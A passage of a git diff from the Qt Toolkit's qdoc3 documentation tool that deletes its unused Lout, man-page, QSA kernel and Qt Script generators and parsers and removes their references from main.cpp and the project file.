-protected: - virtual void generateClassLikeNode(const InnerNode *inner, - CodeMarker *marker); - virtual void generateFakeNode( const FakeNode *fake, CodeMarker *marker ); - virtual QString fileExtension(const Node *node) const; - - QList generateIndexSections(QDomDocument &document, - const Node *node, CodeMarker *marker); - virtual QString fullName(const Node *node) const; - -private: - QString simplified(const QString &text) const; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/loutgenerator.cpp b/tools/qdoc3/loutgenerator.cpp deleted file mode 100644 index caf98e8..0000000 --- a/tools/qdoc3/loutgenerator.cpp +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - loutgenerator.cpp -*/ - -#include "loutgenerator.h" - -QT_BEGIN_NAMESPACE - -LoutGenerator::LoutGenerator() -{ -} - -LoutGenerator::~LoutGenerator() -{ -} - -QString LoutGenerator::format() -{ - return "lout"; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/loutgenerator.h b/tools/qdoc3/loutgenerator.h deleted file mode 100644 index 484d38f..0000000 --- a/tools/qdoc3/loutgenerator.h +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - loutgenerator.h -*/ - -#ifndef LOUTGENERATOR_H -#define LOUTGENERATOR_H - -#include "bookgenerator.h" - -QT_BEGIN_NAMESPACE - -class LoutGenerator : public BookGenerator -{ -public: - LoutGenerator(); - ~LoutGenerator(); - - virtual QString format(); - -protected: - // ### -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 85b23e9..7459e40 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -51,22 +51,11 @@ #include "config.h" #include "cppcodemarker.h" #include "cppcodeparser.h" -#include "cpptoqsconverter.h" #include "doc.h" #include "htmlgenerator.h" -#include "jambiapiparser.h" -#include "javacodemarker.h" -#include "javadocgenerator.h" -#include "linguistgenerator.h" -#include "loutgenerator.h" -#include "mangenerator.h" #include "plaincodemarker.h" #include "polyarchiveextractor.h" #include "polyuncompressor.h" -#include "qsakernelparser.h" -#include "qscodemarker.h" -#include "qscodeparser.h" -#include "sgmlgenerator.h" #include "webxmlgenerator.h" #include "ditaxmlgenerator.h" #include "tokenizer.h" @@ -210,7 +199,6 @@ static void processQdocconfFile(const QString &fileName) Location::initialize(config); Tokenizer::initialize(config); Doc::initialize(config); - CppToQsConverter::initialize(config); CodeMarker::initialize(config); CodeParser::initialize(config); Generator::initialize(config); @@ -355,7 +343,6 @@ static void processQdocconfFile(const QString &fileName) Generator::terminate(); CodeParser::terminate(); CodeMarker::terminate(); - CppToQsConverter::terminate(); Doc::terminate(); Tokenizer::terminate(); Location::terminate(); @@ -408,25 +395,14 @@ int main(int argc, char **argv) CppCodeParser cppParser; Tree *cppTree = treeForLanguage(cppParser.language()); - QsCodeParser qsParser(cppTree); - QsaKernelParser qsaKernelParser(cppTree); - JambiApiParser jambiParser(cppTree); - /* - Create code markers for plain text, C++, Java, and qs. + Create code markers for plain text and C++. */ PlainCodeMarker plainMarker; CppCodeMarker cppMarker; - JavaCodeMarker javaMarker; - QsCodeMarker qsMarker; ApiGenerator apiGenerator; HtmlGenerator htmlGenerator; - JavadocGenerator javadocGenerator; - LinguistGenerator linguistGenerator; - LoutGenerator loutGenerator; - ManGenerator manGenerator; - SgmlGenerator smglGenerator; WebXMLGenerator webxmlGenerator; DitaXmlGenerator ditaxmlGenerator; diff --git a/tools/qdoc3/mangenerator.cpp b/tools/qdoc3/mangenerator.cpp deleted file mode 100644 index 1e85b73..0000000 --- a/tools/qdoc3/mangenerator.cpp +++ /dev/null @@ -1,228 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - mangenerator.cpp -*/ - -#include -#include - -#include "mangenerator.h" -#include "node.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -ManGenerator::ManGenerator() -{ - date = QDate::currentDate().toString( "d MMMM yyyy" ); -} - -ManGenerator::~ManGenerator() -{ -} - -QString ManGenerator::format() -{ - return "man"; -} - -int ManGenerator::generateAtom( const Atom *atom, const Node * /* relative */, - CodeMarker * /* marker */ ) -{ -#if 0 - switch ( atom->type() ) { - case Atom::AbstractBegin: - break; - case Atom::AbstractEnd: - break; - case Atom::Alias: - break; - case Atom::AliasArg: - break; - case Atom::BaseName: - break; - case Atom::BriefBegin: - break; - case Atom::BriefEnd: - break; - case Atom::C: - break; - case Atom::CaptionBegin: - break; - case Atom::CaptionEnd: - break; - case Atom::CitationBegin: - break; - case Atom::CitationEnd: - break; - case Atom::Code: - break; - case Atom::FootnoteBegin: - break; - case Atom::FootnoteEnd: - break; - case Atom::FormatBegin: - break; - case Atom::FormatEnd: - break; - case Atom::GeneratedList: - break; - case Atom::Image: - break; - case Atom::ImageText: - break; - case Atom::Link: - break; - case Atom::LinkNode: - break; - case Atom::ListBegin: - break; - case Atom::ListItemNumber: - break; - case Atom::ListItemBegin: - out() << ".IP " << atom->string() << ".\n"; - break; - case Atom::ListItemEnd: - break; - case Atom::ListEnd: - break; - case Atom::Nop: - break; - case Atom::ParaBegin: - out() << ".PP\n"; - break; - case Atom::ParaEnd: - out() << "\n"; - break; - case Atom::RawFormat: - break; - case Atom::RawString: - break; - case Atom::SectionBegin: - break; - case Atom::SectionEnd: - break; - case Atom::SectionHeadingBegin: - break; - case Atom::SectionHeadingEnd: - break; - case Atom::SidebarBegin: - break; - case Atom::SidebarEnd: - break; - case Atom::String: - out() << protectTextLine( atom->string() ); - break; - case Atom::TableBegin: - break; - case Atom::TableEnd: - break; - case Atom::TableOfContents: - break; - case Atom::Target: - break; - case Atom::UnknownCommand: - ; - } -#endif - unknownAtom( atom ); - return 0; -} - -void ManGenerator::generateClassLikeNode( const InnerNode *classe, - CodeMarker *marker ) -{ - generateHeader( classe->name() ); - out() << ".SH NAME\n" - << classe->name() << "\n" - << ".SH SYNOPSYS\n"; - generateBody( classe, marker ); - generateFooter(); -} - -void ManGenerator::generateFakeNode( const FakeNode *fake, CodeMarker *marker ) -{ - generateHeader( "foo" ); - generateBody( fake, marker ); - generateFooter(); -} - -QString ManGenerator::fileExtension(const Node * /* node */) const -{ - return "3qt"; -} - -void ManGenerator::generateHeader( const QString& name ) -{ - out() << ".TH " << protectArg( name ) - << " " << protectArg( "3qt" ) - << " " << protectArg( date ) - << " " << protectArg( "Nokia Corporation and/or its subsidiary(-ies)" ) - << " " << protectArg( "Qt Toolkit" ) << "\n"; -} - -void ManGenerator::generateFooter() -{ -} - -QString ManGenerator::protectArg( const QString& str ) -{ - for ( int i = 0; i < (int) str.length(); i++ ) { - if ( str[i] == ' ' || str[i].isSpace() ) { - QString quoted = str; - quoted.replace( "\"", "\"\"" ); - return "\"" + quoted + "\""; - } - } - return str; -} - -QString ManGenerator::protectTextLine( const QString& str ) -{ - QString t = str; - if ( t.startsWith(".") || t.startsWith("'") ) - t.prepend( "\\&" ); - return t; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/mangenerator.h b/tools/qdoc3/mangenerator.h deleted file mode 100644 index 0fca342..0000000 --- a/tools/qdoc3/mangenerator.h +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - mangenerator.h -*/ - -#ifndef MANGENERATOR_H -#define MANGENERATOR_H - -#include "pagegenerator.h" - -QT_BEGIN_NAMESPACE - -class ManGenerator : public PageGenerator -{ -public: - ManGenerator(); - ~ManGenerator(); - - virtual QString format(); - -protected: - virtual int generateAtom( const Atom *atom, const Node *relative, - CodeMarker *marker ); - virtual void generateClassLikeNode(const InnerNode *node, CodeMarker *marker); - virtual void generateFakeNode( const FakeNode *fake, CodeMarker *marker ); - virtual QString fileExtension(const Node *node) const; - -private: - void generateHeader( const QString& name ); - void generateFooter(); - QString protectArg( const QString& str ); - QString protectTextLine( const QString& str ); - - QString date; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index d47e066..9b76d97 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -27,7 +27,6 @@ CONFIG -= app_bundle HEADERS += apigenerator.h \ archiveextractor.h \ atom.h \ - bookgenerator.h \ ccodeparser.h \ codechunk.h \ codemarker.h \ @@ -36,33 +35,21 @@ HEADERS += apigenerator.h \ config.h \ cppcodemarker.h \ cppcodeparser.h \ - cpptoqsconverter.h \ - dcfsection.h \ ditaxmlgenerator.h \ doc.h \ editdistance.h \ generator.h \ helpprojectwriter.h \ htmlgenerator.h \ - jambiapiparser.h \ - javacodemarker.h \ - javadocgenerator.h \ - linguistgenerator.h \ location.h \ - loutgenerator.h \ - mangenerator.h \ node.h \ openedlist.h \ pagegenerator.h \ plaincodemarker.h \ polyarchiveextractor.h \ polyuncompressor.h \ - qsakernelparser.h \ - qscodemarker.h \ - qscodeparser.h \ quoter.h \ separator.h \ - sgmlgenerator.h \ text.h \ tokenizer.h \ tr.h \ @@ -72,7 +59,6 @@ HEADERS += apigenerator.h \ SOURCES += apigenerator.cpp \ archiveextractor.cpp \ atom.cpp \ - bookgenerator.cpp \ ccodeparser.cpp \ codechunk.cpp \ codemarker.cpp \ @@ -81,21 +67,13 @@ SOURCES += apigenerator.cpp \ config.cpp \ cppcodemarker.cpp \ cppcodeparser.cpp \ - cpptoqsconverter.cpp \ - dcfsection.cpp \ ditaxmlgenerator.cpp \ doc.cpp \ editdistance.cpp \ generator.cpp \ helpprojectwriter.cpp \ htmlgenerator.cpp \ - jambiapiparser.cpp \ - javacodemarker.cpp \ - javadocgenerator.cpp \ - linguistgenerator.cpp \ location.cpp \ - loutgenerator.cpp \ - mangenerator.cpp \ main.cpp \ node.cpp \ openedlist.cpp \ @@ -103,12 +81,8 @@ SOURCES += apigenerator.cpp \ plaincodemarker.cpp \ polyarchiveextractor.cpp \ polyuncompressor.cpp \ - qsakernelparser.cpp \ - qscodemarker.cpp \ - qscodeparser.cpp \ quoter.cpp \ separator.cpp \ - sgmlgenerator.cpp \ text.cpp \ tokenizer.cpp \ tree.cpp \ diff --git a/tools/qdoc3/qsakernelparser.cpp b/tools/qdoc3/qsakernelparser.cpp deleted file mode 100644 index 8f12eda..0000000 --- a/tools/qdoc3/qsakernelparser.cpp +++ /dev/null @@ -1,186 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include - -#include "qsakernelparser.h" -#include "tokenizer.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -QsaKernelParser::QsaKernelParser( Tree *cppTree ) - : cppTre( cppTree ) -{ -} - -QsaKernelParser::~QsaKernelParser() -{ -} - -QString QsaKernelParser::language() -{ - return "QSA Kernel C++"; -} - -QString QsaKernelParser::sourceFileNameFilter() -{ - return "*.cpp"; -} - -void QsaKernelParser::parseSourceFile( const Location& location, - const QString& filePath, - Tree * /* tree */ ) -{ - QFile in(filePath); - if (!in.open(QIODevice::ReadOnly)) { - location.error( tr("Cannot open QSA kernel file '%1'").arg(filePath) ); - return; - } - - Location fileLocation( filePath ); - Tokenizer fileTokenizer( fileLocation, in ); - tokenizer = &fileTokenizer; - readToken(); - - QString ident; - QString className; - int delimDepth = 0; - - while ( tok != Tok_Eoi ) { - if ( tok == Tok_Ident ) { - ident = tokenizer->lexeme(); - readToken(); - if ( tok == Tok_Gulbrandsen && tokenizer->braceDepth() == 0 && - tokenizer->parenDepth() == 0 ) { - className = ident; - } else if ( ident.startsWith("add") && ident.endsWith("Member") && - tok == Tok_LeftParen ) { - bool isProperty = ident.endsWith( "VariableMember" ); - bool isStatic = ident.startsWith( "addStatic" ); - bool isWritable = !isStatic; - - readToken(); - if ( tok == Tok_String ) { - QString member = tokenizer->lexeme(); - member = member.mid( 1, member.length() - 2 ); - - readToken(); - if ( tok == Tok_Comma ) - readToken(); - if ( tok == Tok_Ident && tokenizer->lexeme() == "QSMember" ) - readToken(); - if ( tok == Tok_LeftParen ) { - delimDepth++; - readToken(); - } - - while ( tok != Tok_Eoi && tok != Tok_RightParen && - tok != Tok_Semicolon ) { - if ( tok == Tok_Ident ) { - ident = tokenizer->lexeme(); - if ( ident == "Custom" ) { - isProperty = true; - } else if ( ident == "AttributeNonWritable" ) { - isWritable = false; - } else if ( ident == "AttributeStatic" ) { - isStatic = true; - } - } - readToken(); - } - - ClassNode *classe = - (ClassNode *) cppTre->findNode( QStringList(className), - Node::Class ); - if ( classe == 0 ) { - classe = new ClassNode( cppTre->root(), className ); - classe->setLocation( tokenizer->location() ); - } - - if ( isProperty ) { - PropertyNode *property = new PropertyNode(classe, member); - property->setLocation( tokenizer->location() ); - property->setDataType( "Object" ); -#if 0 - property->setGetter( member ); - if ( isWritable ) { - QString setter = member; - setter[0] = setter[0].toUpper(); - setter.prepend( "set" ); - property->setSetter( setter ); - } -#endif - } else { - FunctionNode *func = new FunctionNode( classe, member ); - func->setLocation( tokenizer->location() ); - func->setAccess( FunctionNode::Public ); - func->setMetaness( FunctionNode::Slot ); - if ( member == "toLocaleString" || - member == "toString" ) { - func->setReturnType( "QString" ); - } else if ( member == "valueOf" ) { - func->setReturnType( "Object" ); - } else { - func->setReturnType( "Object" ); - func->addParameter( Parameter("...") ); - } - func->setStatic( false ); // ### - } - } - } - } else { - readToken(); - } - } - in.close(); -} - -void QsaKernelParser::doneParsingSourceFiles( Tree * /* tree */ ) -{ -} - -void QsaKernelParser::readToken() -{ - tok = tokenizer->getToken(); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/qsakernelparser.h b/tools/qdoc3/qsakernelparser.h deleted file mode 100644 index 9ac84fb..0000000 --- a/tools/qdoc3/qsakernelparser.h +++ /dev/null @@ -1,77 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qsakernelparser.h -*/ - -#ifndef QSAKERNELPARSER_H -#define QSAKERNELPARSER_H - -#include "codeparser.h" - -QT_BEGIN_NAMESPACE - -class Tokenizer; - -class QsaKernelParser : public CodeParser -{ -public: - QsaKernelParser( Tree *cppTree ); - ~QsaKernelParser(); - - virtual QString language(); - virtual QString sourceFileNameFilter(); - virtual void parseSourceFile( const Location& location, - const QString& filePath, Tree *tree ); - virtual void doneParsingSourceFiles( Tree *tree ); - -private: - void readToken(); - - Tree *cppTre; - Tokenizer *tokenizer; - int tok; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/qscodemarker.cpp b/tools/qdoc3/qscodemarker.cpp deleted file mode 100644 index 2ee5d99..0000000 --- a/tools/qdoc3/qscodemarker.cpp +++ /dev/null @@ -1,378 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qscodemarker.cpp -*/ - -#include "node.h" -#include "qscodemarker.h" - -QT_BEGIN_NAMESPACE - -QsCodeMarker::QsCodeMarker() -{ -} - -QsCodeMarker::~QsCodeMarker() -{ -} - -bool QsCodeMarker::recognizeCode( const QString& /* code */ ) -{ - return true; -} - -bool QsCodeMarker::recognizeExtension( const QString& ext ) -{ - return ext == "js" || ext == "qs"; -} - -bool QsCodeMarker::recognizeLanguage( const QString& lang ) -{ - return lang == "JavaScript" || lang == "Qt Script"; -} - -QString QsCodeMarker::plainName( const Node *node ) -{ - QString name = node->name(); - if ( node->type() == Node::Function ) - name += "()"; - return name; -} - -QString QsCodeMarker::plainFullName( const Node *node, const Node * /* relative */ ) -{ - QString fullName; - for ( ;; ) { - fullName.prepend( plainName(node) ); - if ( node->parent()->name().isEmpty() ) - break; - node = node->parent(); - fullName.prepend("."); - } - return fullName; -} - -QString QsCodeMarker::markedUpCode( const QString& code, - const Node * /* relative */, - const QString& /* dirPath */ ) -{ - return protect( code ); -} - -QString QsCodeMarker::markedUpSynopsis( const Node *node, - const Node * /* relative */, - SynopsisStyle style ) -{ - QString synopsis; - QStringList extras; - QString name; - - name = taggedNode( node ); - if ( style != Detailed ) - name = linkTag( node, name ); - name = "<@name>" + name + ""; - - if ( style == Detailed && !node->parent()->name().isEmpty() && - node->type() != Node::Enum ) - name.prepend( taggedNode(node->parent()) + "." ); - - switch ( node->type() ) { - case Node::Class: - synopsis = "class " + name; - break; - case Node::Function: - { - const FunctionNode *func = (const FunctionNode *) node; - - synopsis = name; - - if ( style == SeparateList ) { - synopsis += "()"; - } else { - synopsis += " ("; - if ( !func->parameters().isEmpty() ) { - synopsis += " "; - int numOptional = 0; - QList::ConstIterator p = func->parameters().begin(); - while ( p != func->parameters().end() ) { - if ( !(*p).defaultValue().isEmpty() ) { - if ( p == func->parameters().begin() ) { - synopsis += "[ "; - } else { - synopsis += " [ , "; - } - numOptional++; - } else { - if ( p != func->parameters().begin() ) - synopsis += ", "; - } - if ( !(*p).name().isEmpty() ) - synopsis += "<@param>" + protect( (*p).name() ) + - " : "; - synopsis += protect( (*p).leftType() ); - ++p; - } - for ( int i = 0; i < numOptional; i++ ) - synopsis += " ]"; - synopsis += " "; - } - synopsis += ")"; - } - - if ( style != SeparateList && !func->returnType().isEmpty() ) - synopsis += " : " + protect( func->returnType() ); - - if ( style == Detailed && func->metaness() == FunctionNode::Signal ) - extras << "[signal]"; - } - break; - case Node::Property: - { - const PropertyNode *property = (const PropertyNode *) node; - - synopsis = name; - if ( style != SeparateList ) - synopsis += " : " + property->dataType(); - if ( style == Detailed && property->setters().isEmpty() ) - extras << "[read only]"; - } - break; - case Node::Enum: - { - /* - The letters A to F and X (upper- and lower-case) can - appear in a hexadecimal constant (e.g. 0x3F). - */ - QRegExp letterRegExp( "[G-WYZg-wyz_]" ); - const EnumNode *enume = (const EnumNode *) node; - - synopsis = name; - if ( style == Summary && !enume->items().isEmpty() ) { - synopsis += " : "; - QString comma; - QList::ConstIterator it = enume->items().begin(); - while ( it != enume->items().end() ) { - if ( enume->itemAccess((*it).name()) == Node::Public ) { - synopsis += comma; - synopsis += (*it).name(); - if ( (*it).value().indexOf(letterRegExp) != -1 ) - synopsis += " = " + (*it).value(); - comma = ", "; - } - ++it; - } - } - } - break; - case Node::Namespace: - case Node::Typedef: - default: - synopsis = name; - } - - if ( style == Summary ) { - if ( node->status() == Node::Preliminary ) { - extras << "(preliminary)"; - } else if ( node->status() == Node::Deprecated ) { - extras << "(deprecated)"; - } else if ( node->status() == Node::Obsolete ) { - extras << "(obsolete)"; - } - } - - QString extra; - if ( !extras.isEmpty() ) - extra = "<@extra>" + extras.join(" ") + ""; - return synopsis + extra; -} - -QString QsCodeMarker::markedUpName( const Node *node ) -{ - QString name = linkTag( node, taggedNode(node) ); - if ( node->type() == Node::Function ) - name += "()"; - return name; -} - -QString QsCodeMarker::markedUpFullName( const Node *node, - const Node * /* relative */ ) -{ - QString fullName; - for ( ;; ) { - fullName.prepend( markedUpName(node) ); - if ( node->parent()->name().isEmpty() ) - break; - node = node->parent(); - fullName.prepend( "<@op>." ); - } - return fullName; -} - -QString QsCodeMarker::markedUpEnumValue(const QString & /* enumValue */, - const Node * /* relative */) -{ - return QString(); -} - -QString QsCodeMarker::markedUpIncludes( const QStringList& /* includes */ ) -{ - return QString(); -} - -QString QsCodeMarker::functionBeginRegExp( const QString& funcName ) -{ - return "^function[ \t].*\\b" + QRegExp::escape( funcName ); -} - -QString QsCodeMarker::functionEndRegExp( const QString& /* funcName */ ) -{ - return "^}"; -} - -QList
    QsCodeMarker::sections( const InnerNode *inner, SynopsisStyle style, Status status ) -{ - QList
    sections; - - if (inner->type() != Node::Class) - return sections; - - const ClassNode *classe = static_cast(inner); - - if ( style == Summary ) { - FastSection enums(classe, "Enums", "", "enum", "enums"); - FastSection functions(classe, "Functions", "", "function", "functions"); - FastSection readOnlyProperties(classe, "", "Read-Only Properties", "property", "properties"); - FastSection signalz(classe, "Signals", "", "signal", "signals"); - FastSection writableProperties(classe, "", "Writable Properties", "property", "properties"); - - QStack stack; - stack.push( classe ); - - while ( !stack.isEmpty() ) { - const ClassNode *ancestorClass = stack.pop(); - - NodeList::ConstIterator c = ancestorClass->childNodes().begin(); - while ( c != ancestorClass->childNodes().end() ) { - if ( (*c)->access() == Node::Public ) { - if ( (*c)->type() == Node::Enum ) { - insert( enums, *c, style, status ); - } else if ( (*c)->type() == Node::Function ) { - const FunctionNode *func = (const FunctionNode *) *c; - if ( func->metaness() == FunctionNode::Signal ) { - insert( signalz, *c, style, status ); - } else { - insert( functions, *c, style, status ); - } - } else if ( (*c)->type() == Node::Property ) { - const PropertyNode *property = - (const PropertyNode *) *c; - if ( property->setters().isEmpty() ) { - insert( readOnlyProperties, *c, style, status ); - } else { - insert( writableProperties, *c, style, status ); - } - } - } - ++c; - } - - QList::ConstIterator r = ancestorClass->baseClasses().begin(); - while ( r != ancestorClass->baseClasses().end() ) { - stack.prepend( (*r).node ); - ++r; - } - } - append( sections, enums ); - append( sections, writableProperties ); - append( sections, readOnlyProperties ); - append( sections, functions ); - append( sections, signalz ); - } else if ( style == Detailed ) { - FastSection enums( classe, "Enum Documentation", "", "member", "members"); - FastSection functionsAndSignals( classe, "Function and Signal Documentation", "", "member", "members"); - FastSection properties( classe, "Property Documentation", "", "member", "members"); - - NodeList::ConstIterator c = classe->childNodes().begin(); - while ( c != classe->childNodes().end() ) { - if ( (*c)->access() == Node::Public ) { - if ( (*c)->type() == Node::Enum ) { - insert( enums, *c, style, status ); - } else if ( (*c)->type() == Node::Function ) { - insert( functionsAndSignals, *c, style, status ); - } else if ( (*c)->type() == Node::Property ) { - insert( properties, *c, style, status ); - } - } - ++c; - } - append( sections, enums ); - append( sections, properties ); - append( sections, functionsAndSignals ); - } else { // ( style == SeparateList ) - FastSection all(classe, "", "", "member", "members"); - - QStack stack; - stack.push( classe ); - - while ( !stack.isEmpty() ) { - const ClassNode *ancestorClass = stack.pop(); - - NodeList::ConstIterator c = ancestorClass->childNodes().begin(); - while ( c != ancestorClass->childNodes().end() ) { - if ( (*c)->access() == Node::Public ) - insert( all, *c, style, status ); - ++c; - } - - QList::ConstIterator r = ancestorClass->baseClasses().begin(); - while ( r != ancestorClass->baseClasses().end() ) { - stack.prepend( (*r).node ); - ++r; - } - } - append( sections, all ); - } - return sections; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/qscodemarker.h b/tools/qdoc3/qscodemarker.h deleted file mode 100644 index c6a177f..0000000 --- a/tools/qdoc3/qscodemarker.h +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** 